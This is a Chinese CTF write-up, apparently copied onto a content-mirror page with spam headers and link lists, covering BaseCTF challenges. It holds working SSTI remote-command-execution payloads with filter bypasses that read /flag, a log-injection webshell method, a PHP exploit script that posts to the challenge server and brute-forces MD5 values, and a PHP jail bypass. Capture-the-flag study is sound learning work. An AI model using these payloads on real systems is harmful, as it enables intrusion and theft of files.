当前位置: 首页 > news >正文

电商网站项目经验介绍ppt模板在线葡京在线葡京

电商网站项目经验介绍ppt模板,在线葡京在线葡京,建设学院网站意义,wordpress评测复读机 输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板…

复读机

        输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI


        SSTI模板注入

        根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的

        用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。

        不同的语言会有不同的模板框架。

        在这些框架中存在很多类,包括可以做到RCE的类。

        所以我们的目标就是要通过模板操作到可以进行RCE的类

        那么我们输入什么才会被当成模板注入呢?

       因为模板渲染的时候会把"{{}}"包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用  {{恶意代码}}  的形式来进行SSTI

        (所以{{2*2}}也被用作检测SSTI漏洞的方法)

        知道了这些就可以通过魔术方法,找到rce的类并rce获取flag

__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

        假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!

        以下是一些当前类的表示方式

''.__class__().__class__[].__class__"".__class__{}.__class__

        (ctfshow_web361) 

        所以我们可以构造{{''.__class__.__base__.__subclasses__}}查看所有类

        可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号

        可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

         之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

        构造

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

        这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen 

        popen后的括号里直接写命令,不需要system

        说了这么多,也只是浅浅入门SSTI,之后还会有关于SSTI的绕过,这道复读机就是


        回到原题,这里我就整理一下官方wp(前面写的太多了)

        1.是过滤了{{}}、替换成{%print%}

        3.用"[]"替换"."

        2.过滤了斜杠和反斜杠,要读取flag只能通过其他函数拼凑一个"/"

                有三种方法

                利用 chr 函数来构造出一个命令

                (第一行让chr字符串等于chr函数)

                (第二行让cmd等于cat /flag)

                (第三行就正常输出)

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

                利用环境变量的值

                查看环境变量,可以看到 OLDPWD=/

                直接利用它来切换到根目录,然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

                利用 expr substr 切割出一个 /

                pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像上一个方法那样切换到根目录然后读 flag 了 

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`expr substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

        滤个不停

        

        有几层过滤,终点是include()说明这里最终要往文件包含靠。

我们先一层一层看

        第一层很简单,就是post一个HelloWorld。

        

        第二层是一个匹配过滤,就是说我们上传Datch的参数必须要包含's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'所有字母,并且要做到你上传的参数能够执行文件包含。

        而且后面还过滤了很多伪协议,这里只能试试日志注入了

        日志注入

        (这里是我之前写的关于日志注入的笔记)

        令人惊喜的是
        日志注入要上传的Datch=/var/log/nginx/access.log,居然包含了上面所有的字母,看来就是这么个考点

        我们在ua上传一句话木马,并构造/?Datch=/var/log/nginx/access.log,进行日志注入,然后就可以命令执行啦


玩原神玩的

        分析一下代码

        首先是一个$len,我们要上传len,使len[]的长度和array[]的长度相等。

        但是我们并不知道len的长度为多少,不过连续post数组就会默认添加到后一位

        但是有几位呢?

        (这里直接跳了tip,比较简单)

        之后能要post两个m,一个值为100%,第二个是love100%加上第一个值的md5哈希值

        post的时候记得url编码一下

        最后得出这么多md5值,分别就是flag的每一个的字符的md值

        这里可以写一个脚本爆破,思路是这样的

        循环遍历每一个字母,如果字母的md5值与位置数的异或等于之前给出的md5值,那么就确定了一个flag的字母。

        脚本如下(官方脚本)

for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}

        exp

<?php
highlight_file(__FILE__);
include 'flag.php';$challenge_url = "http://challenge.basectf.fun:42801/?";
$post = "";
for ($i = 0;$i < 45;$i++) {$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';$curl = curl_init();curl_setopt_array($curl, [CURLOPT_URL => $challenge_url . $get,CURLOPT_RETURNTRANSFER => true,CURLOPT_ENCODING => '',CURLOPT_MAXREDIRS => 10,CURLOPT_TIMEOUT => 30,CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST => 'POST',CURLOPT_POSTFIELDS => $post,CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded',],
]);$response = curl_exec($curl);
$err = curl_error($curl);curl_close($curl);if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}echo "Flag: " . $flag;

EZ_PHP_Jail

        

        首先是GET一个Jail_by.Happy,这里估计是一个php变量名的考点

        php非法字符转化规则

                php在8.0版本之前,传变量的时候如果变量含有空格、"+"、"."、"[",这些会变成"_"

                但是如果第一个是"[",那么后面的字符就不会被改变

这里就成功绕过了

        然后是一个绕过,绕过Jail变量的参数

        过滤了$ ` c a s require include,说明不能使用cat,tac,和文件包含

         不过文件包含还有highlight_file可以用

        还有很多读目录函数没用,比如print_r(glob("/*"));读取根目录

        [4]是flag

我们构造

?Jail[by.Happy=highlight_file(glob("/*")[4]);

        奇怪的是,官方wp里给出的是

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

        也可以读取flag,有没有大佬知道这个是怎么回事QAQ


小结

       本来想week3和4一起写的,谁知道SSTI写了这么多QAQ

        主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化,学到了新东西也复习到了旧东西

http://www.yayakq.cn/news/982701/

相关文章:

  • 重庆智能网站建设设计iis怎么搭建asp网站
  • 网站开发制作的流程是什么有哪些网站交互效果做的好的
  • 做视频网站要什么软件下载物流网络结构模式有哪些
  • 做网站找哪家公司好wordpress原生评论
  • 买服务器做网站 镜像选什么wordpress用户搜索次数插件
  • 网站开发费属于什么费用个人网站包括哪些内容
  • 佛山外贸网站建设流程商丘网
  • 网站建设方案模版怎样做招嫖网站
  • 基于html5的网站建设论文邯郸全网推广
  • 企业公司建网站的步骤镇江久一信息科技
  • 建筑智库免费网站百度下载老版本
  • 网络营销经典失败案例湛江网站推广优化
  • 荼叶公司网站模板网站建设外包行业
  • 网站开发都需要学什么wordpress优化加速
  • 专业做面膜的网站童装网站建设
  • 深圳网站建设网页制作网络推广营销工具
  • 做360手机网站快速排名软件网站营销培训
  • 专业的河南网站建设价格南通免费建设网站
  • 三合一网站有必要吗asp加dw做网站
  • 网站建设开发案例教程视频网站怎样做网银支付
  • 成都建设银行招聘网站网址缩短在线生成app
  • 泉州网站建设科技公司网站301重定向代码
  • 马达加工东莞网站建设刚做的网站 搜不到
  • apache怎么配置网站沈阳seo技术
  • 乐清市建设路小学网站宁波网络营销咨询公司
  • 网站开发运行环境怎么写郑州网站建设的公司
  • 寻找专业网站建设仪器网站模板
  • 做网单哪个网站最好用dw做网站怎么连接gif图片
  • 可以做片头的网站口碑好门户网站开发
  • 服务器网站怎么做网站建设用英语怎么说